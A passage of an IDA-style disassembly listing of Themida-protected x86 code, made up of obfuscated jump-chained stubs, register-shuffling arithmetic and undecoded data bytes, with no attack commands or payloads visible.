loc_54AA95:				; CODE XREF: Themida_:0054DABEj
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_54E8B1
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9242C89h, 33F3h
; ---------------------------------------------------------------------------

loc_54AAB4:				; CODE XREF: Themida_:00546CF8j
		sub	edi, 358C1FA7h
		add	ebx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_546B07
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 57E08950h, 0FFD7E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AAD1:				; CODE XREF: Themida_:0054AC3Ej
		pop	esi
		shl	edx, 6
		neg	edx
		xor	edx, 5548671Fh
		not	edx
		add	edx, 1E6D8AAh
		sub	edi, edx
		jmp	loc_54D109
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 4, 0E9243487h, 2771h
; ---------------------------------------------------------------------------

loc_54AB00:				; CODE XREF: Themida_:00547B8Cj
		add	ecx, 412869B8h
		add	ecx, 135869F0h
		jmp	loc_548C10
; ---------------------------------------------------------------------------
aZs		db 'ZИг%',0
		dw 2900h
		dd 7BC181D1h, 8B59EC26h, 0C4812414h, 4,	241468h, 243C8900h
		dd 54E1E9h, 2DE0D100h, 8BF9A9FAh, 0E95EF029h, 475Fh
; ---------------------------------------------------------------------------

loc_54AB44:				; CODE XREF: Themida_:0054DC1Dj
		push	edx
		mov	edx, 36926987h
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 26EB10B3h
		or	ebp, edx
		pop	edx
		jmp	loc_54FE61
; ---------------------------------------------------------------------------
		db 87h
		dd 0FF5C242Ch, 1C8B2434h, 4C48124h, 53000000h, 0C381E389h
		dd 4, 4A5FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54AB81:				; CODE XREF: Themida_:0054BA52j
		inc	edx
		jmp	loc_5476F9
; ---------------------------------------------------------------------------

loc_54AB87:				; CODE XREF: Themida_:00550DD7j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_547160
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C241Ch, 0FFFF9F66h
; ---------------------------------------------------------------------------

loc_54ABAC:				; CODE XREF: Themida_:005482ECj
		add	ebx, 301DE56Eh
		push	ebx
		mov	ebx, 2EB81A39h
		add	ecx, ebx
		pop	ebx
		add	ecx, 3C4441E0h
		add	ecx, ebx
		sub	ecx, 3C4441E0h
		sub	ecx, 2EB81A39h
		pop	ebx
		jmp	loc_546761
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 389CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54ABDD:				; CODE XREF: Themida_:00547F98j
		xor	eax, 3EB310BEh
		xor	eax, 36A61CFAh
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		jmp	loc_546CD5
; ---------------------------------------------------------------------------

loc_54AC04:				; CODE XREF: Themida_:0054A2B3j
		mov	esi, 4
		jmp	loc_54DA82
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0DB05024h, 48BC588h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_545532
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48158h, 57000000h,	0EC81E789h, 4, 0E9241489h, 0FFFFB169h
; ---------------------------------------------------------------------------

loc_54AC3C:				; CODE XREF: Themida_:0054ECCDj
		mov	edx, esi
		jmp	loc_54AAD1
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2B6B3604h, 4024E9h, 24248B00h, 106868h, 24148900h, 0E3C3E954h
		dd 0CA87FFFFh, 0C108EAC1h, 0C28106E2h, 127D0C00h, 8255D22Dh
		dd 5D00139h, 398255D2h,	5A2434FFh, 8B04C483h, 0C481241Ch
		dd 4, 2F05D801h, 562D3B53h, 0C681E689h,	4, 4EE81h, 95E90000h
		dd 88000046h, 58E588D4h, 0EB885352h, 0ABE9DA88h, 80000043h
		dd 0C280B4EAh, 39B551FFh, 0E5D0E5D0h, 16E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_54ACC5:				; CODE XREF: Themida_:0054EC34j
		mov	[esp], ecx
		mov	ch, 0A2h
		add	bl, 10h
		sub	bl, ch
		sub	bl, 10h
		pop	ecx
		jmp	loc_54A64C
; ---------------------------------------------------------------------------

loc_54ACD8:				; CODE XREF: Themida_:0054F9E9j
		add	ebp, 4
		jmp	loc_548A47
; ---------------------------------------------------------------------------
		db 89h
		dd 0C2BA2414h, 0F7224647h, 5DAAE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ACF2:				; CODE XREF: Themida_:0054A51Cj
		add	eax, 3B01274Ch
		jmp	loc_54F5AF
; ---------------------------------------------------------------------------
		dd 8104EBC1h, 6E2BF7C3h, 0DDB85057h, 31383E11h,	0E8FE9C3h
		dd 2DB20000h, 809DCA80h, 0C28083EAh, 5AD00028h,	0F0285E2Ch
		dd 51525E04h, 1756E9h, 0E9DF0100h, 4271h, 52C8BD55h, 0B850735Eh
		dd 79C869B6h, 963B7CBBh, 58C3310Ah, 2C8BEB31h, 4C48324h
		dd 5A8BEE81h, 0DE01533Fh, 5A8BC681h, 565B533Fh,	42474FFh
		dd 24048F5Eh, 9CC1385Ch, 0FF9DA1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AD71:				; CODE XREF: Themida_:005476B5j
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54F310
; ---------------------------------------------------------------------------

loc_54AD80:				; CODE XREF: Themida_:0054580Fj
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		pop	edx
		jmp	loc_549762
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 5C241487h, 0E9243C89h, 4341h
; ---------------------------------------------------------------------------

loc_54AD9C:				; CODE XREF: Themida_:00550434j
		push	ebp
		pop	esi
		pop	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	esi
		push	ebp
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		push	eax
		push	esi
		mov	eax, [esp]
		jmp	loc_54FC4F
; ---------------------------------------------------------------------------

loc_54ADBA:				; CODE XREF: Themida_:00545873j
		sub	ch, 0ECh
		xor	bl, ch
		pop	ecx
		shr	bl, 1
		sub	bl, 0D5h
		jmp	loc_549E9F
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 66802C5Ah, 0D6D9E952h, 8B66FFFFh, 0EC83240Ch, 243C8904h
		dd 0EC81E789h, 4, 68241489h, 4,	8124148Bh, 4C4h, 5AD70100h
		dd 0FFEC74E9h, 44C981FFh, 0C13EB520h, 0B1E903E9h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AE0F:				; CODE XREF: Themida_:0054B048j
		push	20h
		mov	ecx, [esp]
		jmp	loc_54D87C
; ---------------------------------------------------------------------------

loc_54AE1C:				; CODE XREF: Themida_:0054B050j
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	36D131B8h
		pop	edx
		inc	edx
		jmp	loc_545BC9
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0F1BB5304h, 814CBD7Fh, 0A23850EBh, 1644E96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE46:				; CODE XREF: Themida_:00546F5Dj
		push	0
		sub	[esp], ebp
		jmp	loc_546025
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9CBAh, 2D04C483h, 10E6DA24h, 1AFAE9h, 1A48BE00h
		dd 4CB932B0h, 3132B01Ah, 24348BF1h, 2033E9h, 4EC8100h
		dd 89000000h, 91B82404h, 216B5F57h, 605CE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE8E:				; CODE XREF: Themida_:0054603Fj
		pop	edx
		add	ebx, 983F1A3Dh
		mov	ecx, ebx
		pop	ebx
		add	ebx, 13283DAEh
		sub	ebx, ecx
		sub	ebx, 13283DAEh
		pop	ecx
		add	ebx, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1B223BC2h
		shl	edi, 6
		jmp	loc_546CF0
; ---------------------------------------------------------------------------

loc_54AEBC:				; CODE XREF: Themida_:00548F4Cj
		dec	ebx
		not	ebx
		not	ebx
		jmp	loc_547E72
; ---------------------------------------------------------------------------
		dw 99B7h
		dd 535BF888h, 0FFC626E9h, 3877FFFFh, 6591BB53h,	0EC817B85h
		dd 4, 0E9241489h, 3EA5h
; ---------------------------------------------------------------------------

loc_54AEE8:				; CODE XREF: Themida_:00544C07j
		add	edi, 2
		jmp	loc_549FD1
; ---------------------------------------------------------------------------
		dd 0B93DE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AEF6:				; CODE XREF: Themida_:0054A2A9j
		push	edx
		mov	edx, 712F38FFh
		xor	eax, edx
		pop	edx
		jmp	loc_545E31
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 24148700h, 4D3665Ch, 0F7E99C24h, 45FFFF9Bh
		dd 6807E5C1h, 0
		dd 8D240481h, 2902E82Dh, 29E9242Ch, 8BFFFFAAh, 1E92434h
		dd 30FFFFFAh, 241C8BF8h, 4C481h, 0C9680000h, 89000010h
		dd 0EC81240Ch, 4, 0B2241489h, 8BD58801h, 0ACE92414h, 50000041h
		dd 1416E9h, 24348900h, 2D339FBEh, 2444812Dh, 1B697B08h
		dd 24742917h, 246C8108h, 1B697B08h, 44295E17h, 19680424h
		dd 8900005Ch, 9FBB241Ch, 812D2D33h, 0C082444h, 1126F33h
		dd 8108245Ch, 0C08246Ch, 0E9126F33h, 4CCFh, 0F8668h, 24148900h
		dd 4C176853h, 34890000h, 4710BE24h, 0F6810F0Fh,	19DA1988h
		dd 0FFAF0AE9h, 2434FFFFh, 187CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54AFD9:				; CODE XREF: Themida_:005461DAj
		pop	ecx
		and	eax, ebp
		jmp	loc_549B89
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 0E9h
		dd 0FFFFE26Ch, 0B606B050h, 0E9C600B4h, 212Ah, 8010C380h
		dd 0EB80CDCBh, 7E3C00Eh, 5442E9h, 24143100h, 5C241433h
		dd 0C5E2E951h, 0C601FFFFh, 0B2E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B01A:				; CODE XREF: Themida_:0054818Dj
		pop	esi
		or	eax, eax
		jz	loc_54B0A7
		push	dword ptr [edi+1Ch]
		jmp	loc_549835
; ---------------------------------------------------------------------------

loc_54B02B:				; CODE XREF: Themida_:005494F6j
		pop	esp
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5455DC
		push	ecx
		jmp	loc_54AE0F
; ---------------------------------------------------------------------------

loc_54B04D:				; CODE XREF: Themida_:0054DDC9j
		xchg	ebp, [esp]
		jmp	loc_54AE1C
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BA241489h, 3E657BB3h, 5507EAC1h, 0FFDD7CE9h, 0D82859FFh
		dd 0CAB35352h, 0FFC6E9E9h, 243433FFh, 33243431h, 895C2434h
		dd 5F54243Ch, 0E904EC83h, 4EAFh, 0B6241489h, 0B35351C6h
		dd 8BDD88ADh, 95E9241Ch
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B09F:				; CODE XREF: Themida_:0054B5EEj
		add	dword ptr [eax], 1
		pop	eax
		pop	edx

loc_54B0A7:				; CODE XREF: Themida_:0054B01Dj
		push	5EBAh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54FBA1
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FFF25FE9h, 0C8B66FFh, 0E9545624h, 280Bh, 3A7C681h
		dd 0C14E011Eh, 0FCE904EEh, 0C0FFFFD9h, 0CDFE04EDh, 28B5ED80h
		dd 885159EFh, 68D5F6FDh, 1E5Ch,	4371E9h, 20D8B200h, 805A66D5h
		dd 0EE88E8C5h, 5AF02859h, 0D6B05053h, 0A3E9BBB7h, 89FFFFD9h
		dd 62E95BDEh, 29FFFFFDh, 34C381C3h, 584E8C30h, 0E00C5E2Dh
		dd 5D8297Fh, 7FE00C5Eh,	3365E95Bh, 0D1F70000h, 0FFF7B2E9h
		dd 50E389FFh, 1A63BF57h, 0D7F76D96h, 50BB53h, 0DF2117ABh
		dd 81E7D15Bh, 52001CEFh, 8BF88924h, 0CBE9243Ch,	66FFFFB5h
		dd 0ABE9028Fh, 89FFFF99h, 0CE7DE9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B16E:				; CODE XREF: Themida_:00545742j
		neg	ebp
		jmp	loc_547DE1
; ---------------------------------------------------------------------------

loc_54B175:				; CODE XREF: Themida_:005474F2j
		pop	edx
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		jmp	loc_549078
; ---------------------------------------------------------------------------
		dd 0F7665D66h, 45A1E9D5h, 565B0000h, 4BEh, 0D01CE900h
		dd 0C381FFFFh, 4, 0E9241C87h, 0FFFFB8CDh
; ---------------------------------------------------------------------------

loc_54B1A4:				; CODE XREF: Themida_:0054BFCFj
		pop	esi
		jmp	loc_544D85
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC835824h, 3B08E904h, 0E9530000h, 0FFFFCBA5h, 0BAB55166h
		dd 8B66EB28h, 0C483240Ch, 96EB8002h, 0C380C300h, 0E9526696h
		dd 0FFFFFE10h, 0EC835058h, 159FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B1E2:				; CODE XREF: Themida_:0054F0FAj
		push	edi
		xor	dword ptr [esp], 691C6D32h
		jmp	loc_546385
; ---------------------------------------------------------------------------

loc_54B1EF:				; CODE XREF: Themida_:0054B58Cj
		push	edx
		push	ebx
		push	475F0CB0h
		jmp	loc_54EB42
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 59C8015Ch, 10DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_54B20D:				; CODE XREF: Themida_:0054B9CCj
		pop	edi
		not	ebp
		push	ebp
		xchg	ebx, [esp]
		jmp	loc_5480CD
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 1A5778BFh, 2AE9551Ch, 66000005h, 8324048Bh, 62E904ECh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B233:				; CODE XREF: Themida_:00544FDCj
		pop	ebx
		jmp	loc_54B9D1
; ---------------------------------------------------------------------------

loc_54B239:				; CODE XREF: Themida_:0054F255j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_546436
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 401805C6h, 81C60166h, 401805EEh, 0BABA5266h,	8158F563h
		dd 0A1486FF2h, 1C28339h, 0FFF6FCE9h, 0DF015EFFh, 2BD555Bh
		dd 81000000h, 0A55C3FEFh, 6AEF8156h, 0E9134B24h, 0AB1h
		dd 4EBF57ADh, 29706D4Ch, 0EC835FF8h, 243C8904h,	5DB5E9h
		dd 58C32800h, 34FFD930h, 0C4815B24h, 4,	5311C180h, 0BEE9A9B3h
		dd 0FFFFFFC2h, 0DE92434h, 80FFFFE7h, 0CFFE3AE7h, 8030B450h
		dd 0ECC092CCh, 0E9DCF607h, 524Fh, 0E0E98149h, 31E9F5A1h
		dd 0E6C159CEh, 36F68107h, 89820627h, 0C3015EF0h, 0FFB8F9E9h
		dd 2454F6FFh, 0E9596601h, 2C42h
; ---------------------------------------------------------------------------

loc_54B300:				; CODE XREF: Themida_:0054E6B4j
		add	ebx, 4
		push	edi
		mov	edi, 2
		sub	ebx, edi
		pop	edi
		jmp	loc_547DD9
; ---------------------------------------------------------------------------

loc_54B314:				; CODE XREF: Themida_:005466E9j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54908D
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 5Eh
		dd 0FFFDEAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B32D:				; CODE XREF: Themida_:0054E1FDj
		shr	bl, 1
		add	bl, 0C1h
		add	dh, bl
		pop	ebx
		jmp	loc_547F49
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 2563E9h, 66C7FE00h, 0DDE95052h, 31FFFFCAh, 0FF04247Ch
		dd 88E92434h, 5FFFFFBAh, 0EB81CB01h, 65267B2Ch,	2C38159h
		dd 0E9000000h, 0FFFF9E13h, 815DEE01h, 4C6h, 24348700h
		dd 5E54565Ch, 3A7EE9h, 28B4B300h, 0D4005BDAh, 0F6EC865Ah
		dd 80EC86D5h, 0C9E9E5E4h, 5FFFFF1h, 2, 8B240487h, 27E92424h
		dd 56FFFFC4h, 0FFB521E9h, 2A7CB9FFh, 0D1F763ADh, 0BC1ABB53h
		dd 0D9318E41h, 59CE895Bh, 0E941CE87h, 0FFFFAAEFh, 357DFDBEh
		dd 0F9EE8140h, 140357Dh, 2055EF0h, 87000000h, 85E92404h
		dd 1000011h, 4875DE8h, 48F5C24h, 24248B24h, 0FFB564E9h
		dd 0F7895BFFh, 8324348Bh, 0EF8104C4h, 0D21AE0F9h, 34FFFB29h
		dd 0C4815F24h, 4, 717868h, 24348900h, 5D0596BEh, 72C2810Bh
		dd 0E96E6F59h, 18DAh, 24348B5Fh, 0FFEDBFE9h, 96DCE9FFh
		dd 0E600FFFFh, 582434FFh, 4C481h, 0E6800000h, 6815h, 34280000h
		dd 24348A24h, 0E904C483h, 3443h, 5C241C33h, 89241489h
		dd 71E955E2h, 0B9FFFFB2h, 47916B43h, 0D6F7F187h, 0CE31F131h
		dd 8CE9F131h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B47B:				; CODE XREF: Themida_:0054826Bj
		pop	esp
		mov	[esp], edi
		mov	edi, 71C8201Bh
		jmp	loc_545C21
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0B5h
		dd 14E95266h, 81FFFFACh, 403488EAh, 0AFC28104h,	0E97CF472h
		dd 0FFFFE9DBh, 0E9241433h, 0FFFFFB59h, 68243489h, 6CC6D5C4h
		dd 5124348Bh, 0FFF143E9h, 240487FFh, 2739E9h, 66D80000h
		dd 661FC668h, 0B3241C89h, 2EE951BBh, 8100004Bh,	10517DF3h
		dd 236AE9DFh, 74FF0000h, 0C8B0424h, 4C48124h, 8F000000h
		dd 9CE92404h, 83000033h, 8B6602C4h, 0C4832434h,	0E9526602h
		dd 4784h, 15AD101h, 0B6E981F9h,	81606648h, 101h, 966AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B51E:				; CODE XREF: Themida_:00545E57j
		push	2B32h
		mov	[esp], ebx
		jmp	loc_54B631
; ---------------------------------------------------------------------------
		db 89h
		dd 0E957241Ch, 32B4h, 8105EFC1h, 876CDC7h, 5FFD09FAh, 0AE05C581h
		dd 0EB01A586h, 0FFE504E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B54D:				; CODE XREF: Themida_:0054C87Ej
		xor	ebx, 0E29505E1h
		and	eax, ebx
		jmp	loc_54935E
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0E7A495F1h, 59CA0134h, 476CE9h, 4EF38000h, 201DC380h
		dd 0FE95BD9h, 5B00002Eh, 4C481h, 0E9550000h, 0FFFFC827h
; ---------------------------------------------------------------------------

loc_54B584:				; CODE XREF: Themida_:0054CC95j
		add	ecx, 75AB132Ah
		sub	ecx, ebx
		jmp	loc_54B1EF
; ---------------------------------------------------------------------------
		db 66h,	53h, 0B7h
		dd 66FA882Ch, 83241C8Bh, 0E2C002C4h, 86F28003h,	78CC68h
		dd 240C8900h, 0CA0034B1h, 592434FFh, 0C004C483h, 0C28006E2h
		dd 0E9D330C1h, 0FFFFB48Ah, 2434FF5Ch, 582434FFh, 233068h
		dd 43A2E900h, 0C3310000h, 5453D831h, 0FFAC3CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B5E1:				; CODE XREF: Themida_:0054EA18j
		pop	edi
		sub	eax, 5EFE2596h
		add	eax, edx
		add	eax, 5EFE2596h
		jmp	loc_54B09F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 0E924248Bh,	32C9h
; ---------------------------------------------------------------------------

loc_54B604:				; CODE XREF: Themida_:0054B9E0j
		add	esp, 4
		jmp	loc_54E4E9
; ---------------------------------------------------------------------------
		dd 7FE95751h, 8900005Ah, 0C5682434h, 8900003Dh,	0BD55240Ch
		dd 6B1C3282h, 90CE32B9h, 5DE901CBh, 32CAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54B631:				; CODE XREF: Themida_:0054B526j
		push	edx
		push	esi
		mov	esi, 571962E9h
		push	esi
		add	dword ptr [esp], 430C40D2h
		pop	edx
		sub	edx, 430C40D2h
		pop	esi
		shl	edx, 7
		push	ecx
		mov	ecx, 66CC2A57h
		push	esi
		mov	esi, 6BD019A0h
		and	esi, 476B4B5Bh
		jmp	loc_54761A
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 0E95C2404h, 0FFFFBEA6h, 27240481h, 5968B151h, 5127E981h
		dd 555B68B1h, 0FFADBEE9h, 0FCF381FFh, 943FF25h,	0E2815BDAh
		dd 610160D7h, 5AC0F281h, 0C7E933E5h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B69B:				; CODE XREF: Themida_:005504E0j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54CE53
; ---------------------------------------------------------------------------
		dd 0E3C055B3h, 77F38002h, 0FF9E6AE9h, 4EC83FFh,	0BD242C89h
		dd 4, 835DEE01h, 348704C6h, 0C2815C24h,	4, 0FFC0CEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B6E1:				; CODE XREF: Themida_:0054DB2Cj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	392Ch
		mov	[esp], ebp
		push	esi
		mov	esi, 55E21CAEh
		and	esi, 6D251DF8h
		neg	esi
		xor	esi, 0BADFE35Ch
		mov	ebp, esi
		pop	esi
		add	edx, 1D7C1F87h
		add	edx, ebp
		sub	edx, 1D7C1F87h
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_54A84F
; ---------------------------------------------------------------------------

loc_54B72E:				; CODE XREF: Themida_:005499EFj
		sub	edx, 5A9D1C5Bh
		mov	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_5461B1
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2Eh
		dd 1035DC3h, 0BD555BD9h, 1BB7546Bh, 0FFF024E9h,	770ABDFFh
		dd 0EF2978A7h, 4004E9h,	0EB815E00h, 0AF2935D6h,	0E95BD801h
		dd 1E99h, 0E904C483h, 0FFFFEB02h
; ---------------------------------------------------------------------------

loc_54B774:				; CODE XREF: Themida_:00548D8Fj
		push	edi
		mov	edi, 65A3319Dh
		jmp	loc_547602
; ---------------------------------------------------------------------------
		db 1
aYsc8		db 'йYИФ8',0
		dw 6800h
		dd 20F8h, 0B1240C89h, 0E9C828BDh, 0FFFFF8D1h
; ---------------------------------------------------------------------------

loc_54B798:				; CODE XREF: Themida_:00544D32j
		mov	dx, [esp]
		push	14B4h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	1635h
		jmp	loc_54AA22
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8904EC83h, 0FEB9240Ch, 8349B666h,	8149FFC1h, 0B666F8F1h
		dd 59CB0149h, 0D28DE953h, 0D389FFFFh, 0FF7BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B7E2:				; CODE XREF: Themida_:0054C40Bj
		pop	ebx
		add	ecx, 0D9E70D2Bh
		or	edx, ecx
		pop	ecx
		or	edx, 9E3689Dh
		push	esi
		mov	esi, 1803153Ah
		jmp	loc_547E21
; ---------------------------------------------------------------------------

loc_54B7FD:				; CODE XREF: Themida_:00546918j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edx
		jmp	loc_54BA4D
; ---------------------------------------------------------------------------
		db 0B9h
		dd 6D85391Bh, 680FBE56h, 93E94D8Dh, 0C1000045h,	0C18103E1h
		dd 8720DBCCh, 0FFF089E9h, 243487FFh, 240C895Ch,	2B9h, 9FEE8100h
		dd 81219857h, 9E265AEEh, 81CE012Dh, 9E265AC6h, 0A596E92Dh
		dd 95BFFFFFh, 0B81BBA7Ah, 7DDD8C83h, 0FFFAD9E9h, 2F36BDFFh
		dd 0E9533A4Ah, 0FFFFA024h, 3765EE81h, 0B850747Ah, 6DC62F8Ch
		dd 0FFEDB6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B87D:				; CODE XREF: Themida_:0054EA4Ej
		mov	bh, 5Dh
		add	al, bh
		pop	bx
		push	ebx
		mov	bh, 38h
		jmp	loc_54A0E5
; ---------------------------------------------------------------------------

loc_54B88B:				; CODE XREF: Themida_:0054E1CBj
		add	edx, 4
		jmp	loc_54D3FD
; ---------------------------------------------------------------------------
		dw 0F529h
		dd 0FFD945E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B89D:				; CODE XREF: Themida_:00547DEFj
		pop	eax
		add	ebx, 65671D33h
		add	ebx, ebp
		sub	ebx, 65671D33h
		jmp	loc_54A3E2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 58545024h, 46853h, 2D5B0000h, 5E293FCBh, 0EC81D801h
		dd 4, 0FFE66CE9h, 0F18159FFh, 5C201685h, 89CE8956h, 0F7595EF7h
		dd 0D0F797D7h, 35B85097h, 2D72764Ah, 798278EDh,	36240B2Dh
		dd 4B98E90Bh, 52AD0000h, 363AE8BAh, 0B2F2811Eh,	1073F06h
		dd 2434FFD0h, 4C4815Ah,	2D000000h, 20E07858h, 3E334805h
		dd 2DD8291Bh, 1B3E3348h, 8904EC83h, 0FFBF243Ch,	473FC571h
		dd 0C781D7F7h, 60A5EA59h, 0FFC07FE9h, 48B66FFh,	4EC8324h
		dd 0E9243489h, 0FFFFADC6h, 81240C8Bh, 4C4h, 81C32900h
		dd 25226AEBh, 4EC8309h,	0BF243C89h, 61456907h, 0FFAC65E9h
		dd 24048FFFh, 8924248Bh, 97E92404h, 1FFFF91h, 0EB3159CDh
		dd 0FF9560E9h, 0EE8166FFh, 5A58791Ch, 62E68166h, 0E6816609h
		dd 0C16632C8h, 4E6605EEh, 0EBEE8166h, 0F5896686h, 8124348Bh
		dd 4C4h, 0D5F76600h, 35C58166h,	0EB0166D9h, 6651665Dh
		dd 0E93258B9h, 0FFFFEBDBh
; ---------------------------------------------------------------------------

loc_54B9C4:				; CODE XREF: Themida_:0054DE02j
		xor	edi, 5FE1B9Fh
		mov	ebp, edi
		jmp	loc_54B20D
; ---------------------------------------------------------------------------

loc_54B9D1:				; CODE XREF: Themida_:0054B234j
		mov	dh, ah
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54B604
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0C8E90000h, 83FFFFA2h, 0F7E904C4h, 28FFFFBFh, 52E959EFh
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B9FF:				; CODE XREF: Themida_:0055040Fj
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54FABA
; ---------------------------------------------------------------------------
		db 9, 0C2h, 0D1h
		dd 46F768E2h, 90E90000h, 0E9000016h, 0FFFF90EAh, 0E47BE95Ah
		dd 166FFFFh, 665166D0h,	6673F6B9h, 5966C801h, 24148B66h
		dd 736968h, 240C8900h, 2799E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BA4D:				; CODE XREF: Themida_:0054B80Aj
		mov	edx, 4E944B42h
		jmp	loc_54AB81
; ---------------------------------------------------------------------------
		db 81h
		dd 46F22EBh, 0CC38164h,	123755Ah, 241C8BDDh, 0FFB01FE9h
		dd 8EFC1FFh, 0D7F7D7F7h, 24F78147h, 1003FFFh, 0ED815FFDh
		dd 4, 31242C33h, 65E9242Ch
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BA8F:				; CODE XREF: Themida_:00551051j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_5494FB
; ---------------------------------------------------------------------------

loc_54BAB6:				; CODE XREF: Themida_:00546157j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	ecx
		push	1000h
		pop	ecx
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_550AA9
; ---------------------------------------------------------------------------
		dd 0B05F03B8h, 795BD5Dh, 0C501CD0Bh, 8324048Bh,	0BBE904C4h
		dd 81FFFFAAh, 12C0242Ch, 815D4448h, 4812C0C5h, 0A184E944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

